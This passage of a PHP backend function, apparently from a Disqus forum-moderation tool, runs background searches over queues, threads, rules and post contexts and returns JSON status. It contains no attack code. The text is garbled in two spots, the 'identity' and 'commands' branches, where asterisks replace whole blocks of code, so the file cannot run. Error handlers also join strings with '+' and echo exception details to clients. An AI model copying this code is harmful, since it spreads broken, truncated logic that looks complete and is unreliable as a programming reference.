        return;
    }
    if ($scope == 'watch' && !$control['watch'] || $scope == 'deleted' && !$control['deleted']) {
        echo json_encode(array("success" => true, "total" => 0, "posts" => 0));
        return;
    }
    if ($scope == 'watch' || $scope == 'deleted' || $scope == 'approved' || $scope == 'unconfirmed') {
        echo json_encode(array("success" => true, "total" => 0, "posts" => 0));
        return;
    }
    $forumid = $control['forumid'];
    $ds = $nmDataService->getForumHubDataService($forumid);
    $fdata = $nmDataService->getForumData($forumid);
    $disqus_forumid = $fdata['external_id'];
    if ($scope == 'all' && !$control['deleted']) {
        $scope = 'working';
    }
    $context = 'queue';
    if (strpos($queueType, ':') !== FALSE) {
        $exp = explode(':', $queueType);
        $queueType = $exp[0];
        $context = $exp[1];
    }
    if ($context == 'queue') {
        $type = 'queue';
    } else {
        $type = 'post';
    }
    if ($ct == "thread") {
        $context = 'root';
        $type = 'root';
    }
    $selfsearch = false;
    if ($search == 'rself') {
        $search = '';
        $selfsearch = true;
    }
    $source = "type=" . $type . ";" . "scope=" . $scope . ";" . "constraint_type=" . $ct . ";" . "constraint_value=" . $cv . ";" . "tab_id=" . $tab_id . ";" . "search=" . $search;
    $logService->log('DEBUG', '@@@backgroundSearch', 'source::' . $source, $global_username);
    if ($context == 'queue' && $scope == 'all' && !empty($ct) && $ct == 'identity') {
        //b.
        $username = $ds->getUsernameByIdentity($cv, $forumid);
        $search = "user:"******"success" => false, "msg" => "ERROR1: Exception:" + var_log($x)));
            exit;
        }
    } else {
        if ($type == 'root' && !empty($ct) && $ct == 'thread') {
            //c.
            $thread = $cv;
            $search_to_show = "thread:" . $thread;
            if ($selfsearch) {
                $search = $source;
            }
            // $logService->log('DEBUG','###backgroundSearch','direct_source(search)::'.$search.'::$search_to_show::'.$search_to_show,$global_username);
            /* $ispresent=$ds->getThreadTitle($thread,$forumid);   
               if($ispresent) {
                    echo json_encode(array(
                   "success" => true,
                   "total" => 0,
                   "posts" => 0
                   ));
                   return;
               }*/
            $isload = $ds->getThreadSearch($thread, $forumid);
            if (!$isload) {
                $go = $ds->startServerSearch($tab_id, $scope, 'thread', 'all', $forumid, $search_to_show, $search);
                // the search param has the primary source of the search that created the pseudo post
                if ($go) {
                    try {
                        set_time_limit(0);
                        $ds->startThreadSearch($thread, $forumid);
                        $ds->updateThreadPseudoPosts($thread, $forumid);
                        getThread($ds, $fdata, $forumid, $access_token, $disqus_forumid, $thread, $go);
                        $ds->removeThreadPseudoPosts($thread, $forumid);
                        $ds->completeServerSearch($tab_id, $scope, 'thread', 'all', $forumid, $search_to_show);
                        $ds->completeThreadSearch($thread, $forumid);
                        set_time_limit(30);
                    } catch (Exception $x) {
                        set_time_limit(30);
                        $ds->completeServerSearch($tab_id, $scope, 'thread', 'all', $forumid, $search_to_show);
                        $logService->log('ERROR', 'backgroundSearch', fe($x), $forumid);
                        echo json_encode(array("success" => false, "msg" => "ERROR2: Exception:" + $x->getMessage()));
                        exit;
                    }
                }
            }
        } else {
            if ($context == 'queue' && $scope == 'commands') {
                //d.1
                //get list of postids
                $posts = array();
                $username = $ds->getUsernameByIdentity($cv, $forumid);
                $search = "user:"******"success" => false, "msg" => "ERROR2: Exception:" + var_log($x)));
                            exit;
                        }
                    }
                }
            } else {
                if ($context == 'queue' && $scope == 'rules' && !empty($ct) && $ct == 'rule') {
                    //d.2
                    //get list of postids
                    $posts = array();
                    $username = $ds->getUsernameByIdentity($cv, $forumid);
                    $search = "rules:" . $username;
                    // this is for nice display purpose only
                    if ($ct == 'rule') {
                        $posts = $ds->getRulePostids($cv, $forumid);
                        if ($posts) {
                            $go = $ds->startServerSearch($tab_id, $scope, 'rule', 'posts', $forumid, $search, $source);
                            try {
                                if ($go) {
                                    set_time_limit(0);
                                    foreach ((array) $posts as $post) {
                                        $postid = $post['postid'];
                                        getPost($ds, $fdata, $forumid, $access_token, $disqus_forumid, $postid, $go);
                                    }
                                    $ds->completeServerSearch($tab_id, $scope, 'rule', 'posts', $forumid, $search);
                                    set_time_limit(30);
                                }
                            } catch (Exception $x) {
                                set_time_limit(30);
                                if ($go) {
                                    $ds->completeServerSearch($tab_id, $scope, 'rule', 'posts', $forumid, $search);
                                }
                                $logService->log('ERROR', 'backgroundSearch', fe($x), $forumid);
                                echo json_encode(array("success" => false, "msg" => "ERROR4: Exception:" + var_log($x)));
                                exit;
                            }
                        }
                    }
                } else {
                    if ($context == 'level' && !empty($ct) && $ct == 'post') {
                        //e - also need to get parent
                        /**
                                A.Parent processing:
                                    1. Get all parent context postids from qwp_post_index. Find all the postids that are either missing from tab_posts or are stale.
                                    Get them from disqus. If any were missing - send updateparent tick to UI.
                                    2. If the index does not have a complete chain - get a context (in disqus terms) from discus. Send updateparent tick to UI.
                                B. Level processing:
                                    1. Check if the post has context. If yes - get all the level postids from index, compare them to tab_posts and check if any are stale. For missing or stale get from disqus.
                                    No ticks - the new and changed messages will be handled routinely by crawler processPosts.
                                    2. If no context send a tick to put a pseudo post up inviting user to get the complete thread loaded if they want to see the full context.
                        
                        **/
                        /**
                            Archiving refactoring 4/1/2015
                                    if parent==-1 and thread.state==2 get the thread from archive (restoreThread())
                                    else
                                    walk index, if(thread.state==2) for each index with missing post get it from archive, only else go to Disqus for a copy
                        
                            The queue search on background will also search archive and restore found posts, without their threads and will not change the state of the thread        
                        
                        
                        **/
                        $username = $ds->getUsernameByIdentity($cv, $forumid);
                        $search = "post:" . $cv;
                        // this is for nice display purpose only
                        $postid = $cv;
                        $hasparent = false;
                        $go = $ds->startServerSearch($tab_id, $scope, 'post', 'context', $forumid, $search, $source);
                        if ($go) {
                            set_time_limit(0);
                            try {
                                $index_postids = $ds->getParentPostidsFromIndex($cv, $forumid);
                                //check if it is complete chain
                                $len = sizeof($index_postids);
                                $last_post = null;
                                if ($len >= 1) {
                                    $last_post = $index_postids[$len - 1];
                                }
                                $now = time();
                                if ($last_post && $last_post['parentid'] == -1) {
                                    //complete chain
                                    if ($last_post['postid'] != $postid) {
                                        $hasparent = true;
                                    } else {
                                        /**  4/1/2015   **/
                                        $ds->restoreThreadIfArchived($last_post['thread'], $forumid);
                                    }
                                    //$logService->log('DEBUG','backgroundSearch','Parent chain (size='.$len.') is present locally in index for postid='.$cv,$forumid);
                                    $local_postids = $ds->getPostsByMissingPostids($index_postids, $forumid);
                                    $skip_ids = array();
                                    foreach ((array) $local_postids as $lp) {
                                        //stale calculations
                                        $age = $now - $lp['createdat'];
                                        $sinceupdate = $now - $lp['updatedat'];
                                        if ($sinceupdate != 0 && $age / $sinceupdate > 2) {
                                            //fresh enough
                                            $skip_ids[] = $lp['postid'];
                                        }
                                    }
                                    $sent = false;
                                    foreach ($index_postids as $post) {
                                        //  $logService->log('DEBUG','backgroundSearch','Inside index_postids loop for postid='.$cv,$forumid);
                                        $postid = $post['postid'];
                                        if (in_array($post['postid'], $skip_ids)) {
                                            continue;
                                        }
                                        $updatedat = $ds->getPostUpdatedat($forumid, $postid);
                                        if ($updatedat > $now) {
                                            //another thread updated the post meanwhile
                                            continue;
                                        }
                                        // $logService->log('DEBUG','backgroundSearch','Calling getPost for postid='.$cv,$forumid);
                                        /** first try archive 4/1/2015   **/
                                        getPost($ds, $fdata, $forumid, $access_token, $disqus_forumid, $postid, $go);
                                        $sent = true;
                                    }
                                } else {
                                    // get a complete disqus context for potid
                                    $logService->log('DEBUG', 'backgroundSearch:level', 'Getting complete disqusus context for postid=' . $cv, $forumid);
                                    getContext($ds, $fdata, $forumid, $access_token, $disqus_forumid, $postid, $go);
                                    // $logService->log('DEBUG',' after backgroundSearch:level','Getting complete disqusus context for postid='.$cv,$global_username);
                                }
                                //B: Level processing
                                $postid = $cv;
                                //check if in context
                                // $logService->log('DEBUG','begin:level','',$global_username);
                                $has_context = $ds->checkHasContextonIndex($postid, $forumid);
                                if ($has_context) {
                                    /**
                                                                3/8/2015
                                                                Thread archiving refactoring. If has context the thread coule be archived
                                    
                                    
                                                            **/
                                    if ($hasparent) {
                                        $index_postids = $ds->getLevelPostidsFromIndex($postid, $forumid);
                                        // $logService->log('DEBUG',' getLevelPostidsFromIndex:level',var_log($local_postids,'$index_postids'),$global_username);
                                        $now = time();
                                        $local_postids = $ds->getPostsByMissingPostids($index_postids, $forumid);
                                        //$local_postids=$ds->getPostidsFromTabPosts($global_emailHash,$view,$tab_id,'level');
                                        //  $logService->log('DEBUG',' aftergetPostidsFromTabPosts:level',var_log($local_postids,'$local_postids'),$global_username);
                                        $skip_ids = array();
                                        foreach ((array) $local_postids as $lp) {
                                            //stale calculations
                                            $age = $now - $lp['createdat'];
                                            $sinceupdate = $now - $lp['updatedat'];
                                            if ($sinceupdate) {
                                                if ($age / $sinceupdate > 2) {
                                                    //fresh enough
                                                    $skip_ids[] = $lp['postid'];
                                                }
                                            }
                                        }
                                        foreach ($index_postids as $post) {
                                            $postid = $post['postid'];
                                            if (in_array($post['postid'], $skip_ids)) {
                                                continue;
                                            }
                                            $updatedat = $ds->getPostUpdatedat($forumid, $postid);
                                            if ($updatedat > $now) {
                                                //another thread updated the post meanwhile
                                                continue;
                                            }
                                            // $logService->log('DEBUG',' calling getPost:level',$postid,$global_username);
                                            /** first try archive 4/1/2015   **/
                                            getPost($ds, $fdata, $forumid, $access_token, $disqus_forumid, $postid, $go);
                                        }
                                    } else {
                                        //just this one post if at the top level
                                        getPost($ds, $fdata, $forumid, $access_token, $disqus_forumid, $postid, $go);
                                    }
                                } else {
                                    //insert a pseudopost
                                    // $logService->log('DEBUG','before insert pseudopost:level','',$global_username);
                                    $ds->insertPseudopost($tab_id, "level", $postid, $forumid, $source);
                                    //  $logService->log('DEBUG','after insert pseudopost:level','',$global_username);
                                }
                                $ds->completeServerSearch($tab_id, $scope, 'post', 'context', $forumid, $search);
                                set_time_limit(30);
                                // $logService->log('DEBUG','exit backgroundSearch:level','',$global_username);
                            } catch (Exception $x) {
                                set_time_limit(30);
                                $ds->completeServerSearch($tab_id, $scope, 'post', 'context', $forumid, $search);
                                $logService->log('ERROR', 'backgroundSearch', fe($x), $forumid);
                                echo json_encode(array("success" => false, "msg" => "ERROR3: Exception:" + var_log($x)));
                                exit;
                            }
                        }
                    } else {
                        if ($context == 'child' && !empty($ct) && $ct == 'post') {
                            //f
                            /**
                            
                                    C. Child processing: same as level except no pseudo post needed    
                                        **/
                            $username = $ds->getUsernameByIdentity($cv, $forumid);
                            $search = "post:" . $cv;
                            // this is for nice display purpose only
                            $postid = $cv;
                            $go = $ds->startServerSearch($tab_id, $scope, 'post', 'children', $forumid, $search, $source);
                            if ($go) {
                                set_time_limit(0);
                                try {
                                    $has_context = $ds->checkHasContextonIndex($cv, $forumid);
                                    $postid = $cv;
                                    if ($has_context) {
                                        $index_postids = $ds->getChildPostidsFromIndex($postid, $forumid);
                                        $now = time();
                                        $local_postids = $ds->getPostsByMissingPostids($index_postids, $forumid);
                                        //$local_postids=$ds->getPostidsFromTabPosts($global_emailHash,$view,$tab_id,'child');
                                        $skip_ids = array();
                                        foreach ((array) $local_postids as $lp) {
                                            //stale calculations
                                            $age = $now - $lp['createdat'];
                                            $sinceupdate = $now - $lp['updatedat'];
                                            //$logService->log('DEBUG','backgroundSearch:child stale calc','$age='.$age.';$sinceupdate='.$sinceupdate,$global_username);
                                            if ($sinceupdate) {
                                                if ($age / $sinceupdate > 2) {
                                                    //fresh enough
                                                    $skip_ids[] = $lp['postid'];
                                                }
                                            }
                                        }
                                        foreach ($index_postids as $post) {
                                            $postid = $post['postid'];
                                            if (in_array($post['postid'], $skip_ids)) {
                                                continue;
                                            }
                                            getPost($ds, $fdata, $forumid, $access_token, $disqus_forumid, $postid, $go);
                                        }
                                    }
                                    $ds->completeServerSearch($tab_id, $scope, 'post', 'children', $forumid, $search);
                                    set_time_limit(30);
                                    // $logService->log('DEBUG','exit backgroundSearch:child','',$global_username);
                                } catch (Exception $x) {
                                    set_time_limit(30);
                                    $ds->completeServerSearch($tab_id, $scope, 'post', 'children', $forumid, $search);
                                    $logService->log('ERROR', 'backgroundSearch:children', fe($x), $forumid);
                                    echo json_encode(array("success" => false, "msg" => "ERROR3: Exception:" + var_log($x)));
                                    exit;
                                }
                            }
                        } else {
                            if ($context == 'queue') {
                                //a.
                                $go = false;
                                try {
                                    $go = $ds->startServerSearch($tab_id, $scope, $ct, $cv, $forumid, $search, $source);
                                    if ($go) {
                                        set_time_limit(0);
                                        $ds->archiveSearch($forumid, $scope, $ct, $cv, $search, $context);
                                        $posts = disqus_search($ds, $fdata, $forumid, $access_token, $disqus_forumid, $search, 300, $go);
                                        // limit free form search to 300 posts
                                        set_time_limit(30);
                                        //
                                        // $logService->log('DEBUG','backgroundSearch','search::'.$search,$forumid);
                                        if (strpos($search, 'last:') !== FALSE || strpos($search, 'days:') !== FALSE) {
                                            // init load
                                            // $logService->log('DEBUG','backgroundSearch 2','search::'.$search,$forumid);
                                            $tabs = $ds->loadUserForumTabs($control, $view);
                                            //$logService->log('DEBUG','backgroundSearch 3','tabs::'.var_log($tabs),$forumid);
                                            foreach ($tabs as $tab) {
                                                $tab_id2 = $tab['tab_id'];
                                                // $logService->log('DEBUG','Dispatch tick',' TabPosts backgroundSearch tab_id='.$tab_id,$forumid);
                                            }
                                        }
                                        //$logService->log('DEBUG','Dispatch tick',' ServerSearchLog backgroundSearch ',$forumid);
                                        $ds->completeServerSearch($tab_id, $scope, $ct, $cv, $forumid, $search);
                                    }
                                } catch (Exception $x) {
                                    if ($go) {
                                        $ds->completeServerSearch($tab_id, $scope, $ct, $cv, $forumid, $search);
                                    }
                                    $logService->log('ERROR', 'backgroundSearch', fe($x), $forumid);
                                    echo json_encode(array("success" => false, "msg" => "ERROR: Exception:" + var_log($x)));
                                    exit;
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    echo json_encode(array("success" => true, "total" => 0, "posts" => 0));
}